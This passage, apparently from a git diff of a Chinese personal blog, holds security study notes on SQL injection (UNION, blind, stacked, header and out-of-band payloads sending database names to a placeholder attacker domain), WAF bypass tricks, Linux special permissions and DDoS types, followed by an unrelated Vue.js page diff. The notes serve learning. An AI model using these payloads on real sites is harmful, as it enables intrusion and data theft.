&ndash;</p><p>查找INFORMATION_SCHEMA数据库的tables表的使用了当前数据库用户名，当前数据库名称，当前数据库版本，以及当前数据库的数据表，后面的&ndash;是sql注释，也可以使用#来注释掉后面的sql命令</p><p>当查找到的数据表存在敏感名称时，例如user时，可对敏感名称的表进行查找</p><p>UNION SELECT 1,columns,3,4,5 FROM INFORMATION_SCHEMA.columns WHERE table_name=&lsquo;user&rsquo; &ndash;</p><p>通过上面的命令查找user表的字段，当出现password，login等字段时，可以确定为后台的登录密码以及用户</p><p>UNION SELECT 1,password,login,4,5 FROM user &ndash;</p><p>通过上面的命令查找user表的password和login字段</p><p>注意：一般来说password字段返回的数据都是加密过的，而且绝大多加密算法都是不可逆的，只能通过彩虹表来碰撞</p><p>POST型SQL注入漏洞（主要通过http请求工具，因为post请求不是通过url发送的，http请求工具例如postman或者burpsuite，触发的方法和get型类似）</p><p>判断SQL注入点</p><p>能够与数据库进行交互，并且可以提交参数到网页时，那么可能存在sql注入</p><p>单引号判断法</p><p><a href="https://webtest.xiaochenabc123.test.com?id=1'">https://webtest.xiaochenabc123.test.com?id=1'</a></p><p>如果页面报错则存在SQL注入，因为sql会因为单引号个数不成对而导致sql执行错误而报错</p><p>判断注入的参数类型（如果参数可以输入非整型，则直接使用字符串型）</p><p>整型</p><p>SELECT * FROM test where id = and 1=1</p><p>字符串型</p><p>SELECT * FROM test where id = &lsquo;1&rsquo; and &lsquo;1&rsquo;=&lsquo;1&rsquo;</p><p>百分号判断法</p><p>针对于使用了LIKE关键字的</p><p><a href="https://webtest.xiaochenabc123.test.com?id=1$'">https://webtest.xiaochenabc123.test.com?id=1$'</a> and &lsquo;1&rsquo;=&lsquo;1&rsquo; &ndash;</p><p>简单的SQL注入防御方法：</p><p>减低错误信息的提供</p><p>使用mysql_escape_string($id)转义，将&rsquo;转义</p><p>过滤and，or，union，select等等关键词（黑名单）</p><p>SQL注入漏洞主要的类型：布尔型注入，可联合查询注入，基于时间延迟注入，报错型注入，可多语句查询注入</p><p>布尔型注入</p><p><a href="https://webtest.xiaochenabc123.test.com/?id=1'">https://webtest.xiaochenabc123.test.com/?id=1'</a> and substring(version) = 5&ndash;</p><p>布尔型注入被用于盲注，上面的例子中是通过布尔型注入来判断一下数据库版本是否为5，如果是的，那么将会是正常请求</p><p>联合查询注入（使用UNION关键字来拼接自己想要执行的SQL语句）</p><p>基于时间延迟注入（通过判断请求响应的时间来得到想要的信息，盲注，当页面不会提供报错信息时，布尔型注入也无效时采用）</p><p><a href="https://webtest.xiaochenabc123.test.com/?id=1'">https://webtest.xiaochenabc123.test.com/?id=1'</a> and slepp(5)&ndash;</p><p>slepp函数的作用是当sql语句执行完成后等待指定秒数再去返回执行结果，通过感觉时间来确定该语句是否正常执行</p><p>报错型注入（如果页面可以返回sql报错信息时使用，通过报错信息中获取数据）</p><p>多语句查询型注入（当页面可以执行多条SQL语句时）</p><p>例如：https://webtest.xiaochenabc123.test.com/?id=1; SELECT * FROM test where id =1&ndash;</p><p>多语句查询型注入可以使用时，很大可能UPDATA数据库更新或者删除数据库可以触发</p><p>HTTP头注入</p><p>利用http请求头，当web服务器需要从http请求头中获取信息到数据库中时（针对不进行过滤审查就直接进行数据库操作时）</p><p>通过http请求工具，例如postman或者burpsuite，修改请求头，重放攻击</p><p>User-Agent: abc&rsquo;, (SELECT database()) &ndash;</p><p>堆叠注入（多条sql命令一起执行）</p><p>使用;结束当前sql命令后继续执行下一条sql命令</p><p>联合注入和堆叠注入区别：联合注入只能进行查询操作（取决于sql命令的拼接头是查询还是更新还是删除，或者插入），而堆叠注入可以执行任意sql命令</p><p>一般实质环境中堆叠注入用不到（可以会出现权限问题），但是一用到就威力无穷</p><p>OOB注入（out of band，带外通道技术）</p><p>通过生成请求体来攻击，目标服务器接收到恶意的请求体后，进一步处理，处理的过程中目标服务器可能要向外部发送请求或者向外部获取资源，而这个外部实质是攻击者控制的服务器，在进行外部的请求时，将数据一起发送给攻击者控制的服务器，最后在攻击者控制的服务器查看数据（例如：通过dns记录来显示）</p><p><a href="https://test1.xiaochenabc123.test.com/?id=1'">https://test1.xiaochenabc123.test.com/?id=1'</a> and SELECT CONCAT(&rsquo;\\&rsquo;,(SELECT database(),&rsquo;.test2.xiaochenabc123.test.com&rsquo;);</p><p><a href="https://test1.xiaochenabc123.test.com/?id=1'">https://test1.xiaochenabc123.test.com/?id=1'</a> and SELECT LOAD_FILE(CONCAT(&rsquo;\\&rsquo;,(SELECT database(),&rsquo;.test2.xiaochenabc123.test.com&rsquo;));</p><p>最后在DNS记录中查看到想要的数据，上面的例子是获取当前的数据库名</p><p>利用HTTP协议来OOB注入</p><p><a href="https://test1.xiaochenabc123.test.com/?id=1'">https://test1.xiaochenabc123.test.com/?id=1'</a> and SELECT UTL_HTTP.REQUEST(<a href=https://test2.xiaochenabc123.test.com/test.php>https://test2.xiaochenabc123.test.com/test.php</a> &lsquo;||&rsquo;?id=&rsquo;||(SELECT database())) FROM dual;</p><p>上面的例子是通过https://test2.xiaochenabc123.test.com的test.php记录传递的数据，并且写入到test.txt中</p><p>混淆和绕过</p><p>一般的注入攻击会被WAF检测和过滤掉，而混淆和绕过就是针对WAF防御的手段</p><p>过滤词绕过</p><p>OR可使用||绕过，AND可使用&&绕过</p><p>union被过滤可使用||来绕过，例如：https://test1.xiaochenabc123.test.com/?id=1&rsquo; ||(SELECT user FROM usermain limit 1,1) = &lsquo;root&rsquo;</p><p>limit被过滤，可通过GROUP BY语句创建一个虚拟表，来绕过，例如：https://test1.xiaochenabc123.test.com/?id=1&rsquo; || SELECT min(user),id FROM usermain GROUP BY user HAVING user=&lsquo;root&rsquo;</p><p>GROUP BY被过滤，可通过SUBSTR()函数和GROUP_CONCAT()函数绕过，例如：https://test1.xiaochenabc123.test.com/?id=1&rsquo; || SELECT SUBSTR((SELECT GROUP_CONCAT(user)user FROM usermain),1,1)</p><p>SELECT和引号被过滤，可通过SUBSTR()函数绕过，例如：https://test1.xiaochenabc123.test.com/?id=1&rsquo; || SUBSTR(user,1,1=0x72)</p><p>空格被过滤，可通过/**/来替代空格来分开sql语句</p><p>等号被过滤，可通过like关键字绕过</p><p>双写绕过：例如union被过滤，可使用ununionion来替代，当ununionion被union被过滤机制处理后，将中间的union替代为空，导致左右两边合在了一起，从而达到绕过的目的、</p><p>双重编码绕过：当某个url编码的参数会被WAF编码过滤时，可对参数进行二次编码，让WAF解第一层编码，但是还有第二层编码，从而达到绕过的目的</p><p>编码注入（url编码）：%27表示&rsquo;，%23表示#，%df表示无意义，%5c表示\，%3d表示=，%2A表示*，例如：https://test1.xiaochenabc123.test.com/?id=1 %df SELECT %2A FROM test where id %3d 1 %23</p><p>二次注入：数据库存储的数据并不安全，不应该直接调用数据库的数据，例如admin&rsquo;#</p><hr><p>提权</p><p>Linux的特殊权限</p><p>SUID（Set UID）：除了rwx权限外的s权限，当某个普通用户具备运行具备SUID权限的文件时，那么当运行该文件，将会使用该文件所有者的身份去执行该文件，只要执行一结束，该身份将会消失</p><p>例如passwd命令，该命令具备SUID权限，当执行该命令时，将表示使用root身份来执行passwd命令，从而修改/usr/bin/passwd这个密码记录文件（该文件普通用户没有任何权限，当然权限只能限制普通用户，root用户是不会被限制的）</p><p>注意：SUID的特性，必须具备可执行权限，而且只对可执行文件有效，目录以及不可执行文件无效，提升权限的效果只在文件执行过程有效，执行结束则身份恢复，s权限必须在所有者权限上（也就是-rws&ndash;x&ndash;x）</p><p>SGID（Set GID）：当s权限出现在所属组中将变成SGID权限，如：-rwx&ndash;s&ndash;x，同样SGID只对可执行文件有效，而且其他用户具备可执行文件，一样只在执行过程中有效</p><p>该特殊权限的特性：在执行该具备SGID特殊权限的可执行文件时，当前用户的组身份将变成文件所属组的身份，赋予的是所属组的权限</p><p>注意：SGID对目录也是具备效果的，只不过当目录被赋予SGID权限后，不是执行触发，而且进入该目录就会触发特性，但是前提是该目录对于普通用户具备rwx权限，这样才能发挥SGID在目录的全部功能</p><p>SBIT（Stick BIT）：t权限，该特殊权限只对目录有效，当目录具备了SBIT特殊权限后，那么不管用户在该目录下创建的文件还是目录，都是只有该用户和root用户有权限修改和删除</p><p>该权限的表示为：drwxrwxrwt，哪怕其他用户具备该目录的全部权限</p><hr><p>DDOS攻击（分布式拒绝服务攻击）</p><p>原理：利用TCP/IP协议族的漏洞，来对目标服务器发送数据流，当超过服务器的处理能力或者服务器的带宽被饱和了，将导致服务器崩溃或者服务器网络崩溃，常见的DDOS攻击有：UDP泛洪攻击，DNS放大攻击，ICMP泛洪攻击，内存缓存放大攻击，SYN泛洪攻击，PING泛洪攻击，NTP放大攻击，ACK泛洪攻击，HTTP泛洪攻击（也就是CC攻击），Slowloris攻击，HTTP Post DDOS攻击等等</p><p>UDP泛洪攻击：利用UDP不需要建立连接就可以发送数据包的特性，大量发送UDP数据包给目标服务器的随机端口，当服务器接收到UDP数据包时，如果该端口没有应用在监听接收数据，会给发送方发送一个数据包，来表示目标端口不可用，当量大到一定程度时，服务器将无法对合法数据进行反应，从而达到拒绝服务的目的，对于会给发送方发送数据包，可进行伪造IP地址，不但不会作用到攻击机上，还做到了匿名</p><p>DNS放大攻击：利用DNS服务器，对DNS服务器发送DNS请求响应，但是该请求包被伪造成了目标服务器的IP，DNS服务器将会向目标服务器发送大量的数据包，从而造成网络阻塞，来达到拒绝服务的目的</p><p>ICMP泛洪攻击：通过不断发送ICMP ECHO REQUEST来对消耗目标服务器的处理器资源和带宽</p><p>攻击者控制的僵尸机对目标服务器发送ICMP ECHO REQUEST，目标服务器需要返回ICMP ECHO REPLY，常见的攻击手法有ping</p><p>内存缓存放大攻击：利用UDP的特性（不需要连接），当使用伪造IP对目标服务器发送http请求，目标服务器接收到请求后，发送响应到伪造的IP上，当目标服务器无法处理庞大的请求响应时，将会导致服务器崩溃和带宽饱满</p><p>放大攻击就是利用了请求包和响应包的体积差，发送小的请求包，需要返回大的响应包，从而达到放大攻击的效果</p><p>SYN泛洪攻击和ACK泛洪攻击都是利用TCP的三次握手的特性</p><p>SYN泛洪攻击：伪造IP向目标服务器发送SYN包，目标服务器接收到后返回ACK给伪造IP的机子，但是接收ACK的目标是不存在的，如果不对其进行确认ACK的话，目标服务器将该次连接挂起（半连接状态），目标服务器会重复发送ACK给伪造的IP上，当量大时，挂起的连接将会消耗掉目标服务器的资源，导致其崩溃，从而达到拒绝服务攻击的目的</p><p>ACK泛洪攻击：向目标服务器发送大量的ACK数据包，实质理论和SYN泛洪攻击类似</p><p>HTTP泛洪攻击：发送正常的请求，目标服务器需要返回响应，但是这个正常的请求是有针对性的，针对服务器需要消耗大量资源来做出响应的请求，例如搜索请求</p><p>Slowloris攻击：利用HTTP Request的特性，通过\r\n\r\n来表示HTTP请求发送已完成，当\r\n\r\n永远不发送时，目标服务器将会保持TCP连接，并且以一种极低速度来发送数据给目标服务器，让目标服务器认为HTTP Request还没有接收完成从而保持TCP连接，当量大时，目标服务器将被占满TCP连接，从而接收不到新的请求，最后达到拒绝服务攻击的目的</p><p>防御Slowloris攻击很简单，限制HTTP Request传输的最大时间，超时将中断连接，并且拉入黑名单</p><p>HTTP Post DDOS攻击：和Slowloris攻击类似，一样是慢速攻击，不过是通过指定一个大的content-length，但是发送包的速度很慢，来达到保持连接，消耗目标服务器的资源</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/web%E5%AE%89%E5%85%A8/>web安全</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/pm2/><span class=title>« Prev</span><br><span>简单使用Pm2---node进程管理工具</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/144/><span class=title>Next »</span><br><span>简单了解a11y无障碍</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/147/index.html b/posts/147/index.html
index dca4992c..85d412da 100644
--- a/posts/147/index.html
+++ b/posts/147/index.html
@@ -1,25 +1,25 @@
 <!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>vuejs底层原理学习笔记 | 小陈的个人博客</title><meta name=keywords content="vuejs"><meta name=description content="组件的渲染，更新
 组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM
 vue应用的初始化
-import { createApp } from 'vue'
import App from './app'
const app = createApp(App)
app.mount('#app')
通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
+import { createApp } from 'vue' import App from './app' const app = createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
 通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的
-ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/147/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="vuejs底层原理学习笔记"><meta property="og:description" content="组件的渲染，更新
+ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/147/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="vuejs底层原理学习笔记"><meta property="og:description" content="组件的渲染，更新
 组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM
 vue应用的初始化
-import { createApp } from 'vue'
import App from './app'
const app = createApp(App)
app.mount('#app')
通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
+import { createApp } from 'vue' import App from './app' const app = createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
 通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的
-ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/147/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-04-26T20:00:00+00:00"><meta property="article:modified_time" content="2022-04-26T20:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="vuejs底层原理学习笔记"><meta name=twitter:description content="组件的渲染，更新
+ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/147/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-04-26T20:00:00+00:00"><meta property="article:modified_time" content="2022-04-26T20:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="vuejs底层原理学习笔记"><meta name=twitter:description content="组件的渲染，更新
 组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM
 vue应用的初始化
-import { createApp } from 'vue'
import App from './app'
const app = createApp(App)
app.mount('#app')
通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
+import { createApp } from 'vue' import App from './app' const app = createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
 通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的
-ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"vuejs底层原理学习笔记","item":"https://xiaochenabc123.github.io/posts/147/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"vuejs底层原理学习笔记","name":"vuejs底层原理学习笔记","description":"组件的渲染，更新\n组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM\nvue应用的初始化\nimport { createApp } from 'vue'\rimport App from './app'\rconst app = createApp(App)\rapp.mount('#app')\r通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用\n通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的\nensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）","keywords":["vuejs"],"articleBody":"组件的渲染，更新\n组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM\nvue应用的初始化\nimport { createApp } from 'vue'\rimport App from './app'\rconst app = createApp(App)\rapp.mount('#app')\r通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用\n通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的\nensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）\n","wordCount":"21","inLanguage":"en","datePublished":"2022-04-26T20:00:00Z","dateModified":"2022-04-26T20:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/147/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>vuejs底层原理学习笔记</h1><div class=post-meta><span title='2022-04-26 20:00:00 +0000 UTC'>2022-04-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/vuejs%e5%ba%95%e5%b1%82%e5%8e%9f%e7%90%86%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>组件的渲染，更新</p><p>组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM</p><p>vue应用的初始化</p><pre><code>import { createApp } from 'vue'
-import App from './app'
-const app = createApp(App)
-app.mount('#app')
-</code></pre><p>通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用</p><p>通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的</p><p>ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/vuejs/>vuejs</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/148/><span class=title>« Prev</span><br><span>编译原理学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/pm2/><span class=title>Next »</span><br><span>简单使用Pm2---node进程管理工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
